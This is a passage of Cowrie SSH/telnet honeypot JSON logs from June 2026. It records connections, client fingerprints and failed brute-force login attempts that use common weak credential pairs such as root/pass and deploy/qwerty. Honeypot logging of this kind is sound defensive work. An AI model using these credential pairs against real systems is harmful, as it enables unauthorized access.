{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58940,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f01cd53e723","protocol":"ssh","message":"New connection: 91.92.40.171:58940 (159.203.135.109:22) [session: 8f01cd53e723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:39.834785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:39.879466Z","src_ip":"91.92.40.171","session":"8f01cd53e723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:39.968655Z","src_ip":"91.92.40.171","session":"8f01cd53e723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:40.400472Z","src_ip":"91.92.40.171","session":"8f01cd53e723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:40.502713Z","src_ip":"91.92.42.133","session":"c646375bb5fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59260,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa3e43dd5bcb","protocol":"telnet","message":"New connection: 172.81.62.90:59260 (10.17.0.5:23) [session: fa3e43dd5bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:40.641694Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:41.521118Z","src_ip":"91.92.40.171","session":"8f01cd53e723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:41.703979Z","src_ip":"91.92.42.133","session":"c646375bb5fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":33178,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba7b0be1366b","protocol":"ssh","message":"New connection: 91.92.40.171:33178 (159.203.135.109:22) [session: ba7b0be1366b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:45.594129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:45.716856Z","src_ip":"91.92.40.171","session":"ba7b0be1366b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:45.720546Z","src_ip":"91.92.40.171","session":"ba7b0be1366b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"root","message":"login attempt [runner/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:46.287516Z","src_ip":"91.92.40.171","session":"ba7b0be1366b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55832,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e42729daa3a","protocol":"ssh","message":"New connection: 91.92.42.133:55832 (159.203.135.109:22) [session: 4e42729daa3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:46.376521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:46.404938Z","src_ip":"91.92.42.133","session":"4e42729daa3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:46.507666Z","src_ip":"91.92.42.133","session":"4e42729daa3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1","message":"login attempt [rocky/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:47.266426Z","src_ip":"91.92.42.133","session":"4e42729daa3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:47.418273Z","src_ip":"91.92.40.171","session":"ba7b0be1366b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:48.661203Z","src_ip":"91.92.42.133","session":"4e42729daa3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":33190,"dst_ip":"159.203.135.109","dst_port":22,"session":"089714b72406","protocol":"ssh","message":"New connection: 91.92.40.171:33190 (159.203.135.109:22) [session: 089714b72406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:52.668775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:52.814282Z","src_ip":"91.92.40.171","session":"089714b72406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55894,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f309a90a746","protocol":"ssh","message":"New connection: 91.92.42.133:55894 (159.203.135.109:22) [session: 6f309a90a746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:53.317492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:53.675956Z","src_ip":"91.92.42.133","session":"6f309a90a746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:53.679000Z","src_ip":"91.92.42.133","session":"6f309a90a746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:53.719154Z","src_ip":"91.92.40.171","session":"089714b72406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:55.623228Z","src_ip":"91.92.42.133","session":"6f309a90a746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34552,"dst_ip":"159.203.135.109","dst_port":22,"session":"531b07689de3","protocol":"ssh","message":"New connection: 91.92.40.171:34552 (159.203.135.109:22) [session: 531b07689de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:56.720602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:56.983779Z","src_ip":"91.92.40.171","session":"531b07689de3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:56.986493Z","src_ip":"91.92.40.171","session":"531b07689de3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:57.038029Z","src_ip":"91.92.42.133","session":"6f309a90a746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty","message":"login attempt [deploy/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:57.760619Z","src_ip":"91.92.40.171","session":"531b07689de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centreon","password":"centreon","message":"login attempt [centreon/centreon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:57.797290Z","src_ip":"91.92.40.171","session":"089714b72406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:58.863959Z","src_ip":"91.92.40.171","session":"531b07689de3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:59.565428Z","src_ip":"91.92.40.171","session":"089714b72406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57854,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3df6798d7ea","protocol":"ssh","message":"New connection: 91.92.42.133:57854 (159.203.135.109:22) [session: f3df6798d7ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:01.838027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:01.920616Z","src_ip":"91.92.42.133","session":"f3df6798d7ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:02.041148Z","src_ip":"91.92.42.133","session":"f3df6798d7ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34612,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5d9d38b3500","protocol":"ssh","message":"New connection: 91.92.40.171:34612 (159.203.135.109:22) [session: b5d9d38b3500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:02.458590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:02.467121Z","src_ip":"91.92.40.171","session":"b5d9d38b3500","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:02.568806Z","src_ip":"91.92.40.171","session":"b5d9d38b3500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:02.927863Z","src_ip":"91.92.40.171","session":"b5d9d38b3500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:03.516896Z","src_ip":"91.92.42.133","session":"f3df6798d7ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:04.128675Z","src_ip":"91.92.40.171","session":"b5d9d38b3500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:04.714642Z","src_ip":"91.92.42.133","session":"f3df6798d7ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34536,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d151b24a8e8","protocol":"ssh","message":"New connection: 91.92.40.171:34536 (159.203.135.109:22) [session: 0d151b24a8e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:08.609885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:08.633677Z","src_ip":"91.92.40.171","session":"0d151b24a8e8","protocol":"ssh"}
